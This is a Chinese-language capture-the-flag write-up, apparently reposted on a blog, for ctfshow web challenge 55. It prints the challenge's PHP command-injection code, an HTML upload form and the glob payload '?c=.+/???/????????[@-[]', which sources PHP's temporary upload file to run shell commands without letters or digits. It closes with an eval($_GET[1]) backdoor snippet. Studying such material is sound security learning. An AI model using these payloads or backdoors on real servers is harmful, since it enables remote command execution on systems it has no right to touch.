無字母數字的命令執行(ctfshow web入門 55)


這幾天都沒有怎么學習,基本上都是復習學科知識,因為我們要期末考試。剛剛好今天有時間來做了一道命令執行的題,再一次拜讀了 p神的文章。受益匪淺。

直接進入正題

源代碼

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

錯誤思想

你們是在炫技??
哎,看的代碼的時候就只能使用一些特殊符號。
先說說自己錯誤的方法吧,自己是使用^運算符進行拼接命令然后執行。然后發現其他它改變就不會執行也不是eval()函數,然后就失敗了。
最后大佬提醒了一下:說沒有過濾 .(點)然后我百度了一下.(點)的用法,就是相當於source 可以執行sh命令。linux下的.使用
在這里插入圖片描述
但是自己在本地實驗沒有成功~~~
自己想應該是錯誤信息沒有回顯吧,之后思路就沒有了。

最后想起來自己之前看過p神的一篇文章。無字母數字webshell之提高篇

茅塞頓開

看了之后才發現,我們可以通過post一個文件(文件里面的sh命令),在上傳的過程中,通過.(點)去執行執行這個文件。(形成了條件競爭)。一般來說這個文件在linux下面保存在/tmp/php??????一般后面的6個字符是隨機生成的有大小寫。(可以通過linux的匹配符去匹配)
注意:通過.去執行sh命令不需要有執行權限
在這里插入圖片描述

開淦

在這個之前我們需要構造一個post上傳文件的數據包。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST數據包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包如圖
在這里插入圖片描述

構造poc執行命令

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是進行匹配的大寫字母。
在這里插入圖片描述
然后在上傳文件內容添加sh命令

#!/bin/sh
ls

在這里插入圖片描述

直接讀flag

在這里插入圖片描述

總結

這道題主要是利用 上傳文件到臨時命令去通過.(點)去執行該上傳文件的內容。
和之前的CTFSHOW 紅包題第二彈有異曲同工之妙

總的來說謝謝P神的文章和y1ng師傅的文章。

參考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.gem-love.com/websecurity/1407.html#PHP命令執行

最后說明一下為什么在使用eval()函數有時候需要添加?>

<?php
eval($_GET[1]);
#如果我們通過<?=`ls`;去執行的話需要在前面添加?>

在這里插入圖片描述
在這里插入圖片描述
原因是eval()函數相當於執行php的代碼,而<?= 就相當於<?php echo
在PHP7以上不管short_open_tag配置是不是開啟的。都可以使用。
所以就相當於一個新的PHP文件,這樣的話就需要將最開始前面的<?php給閉合,不然不會執行。
閉合之后就相當於

<?php
?>
<?=`ls`;

在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM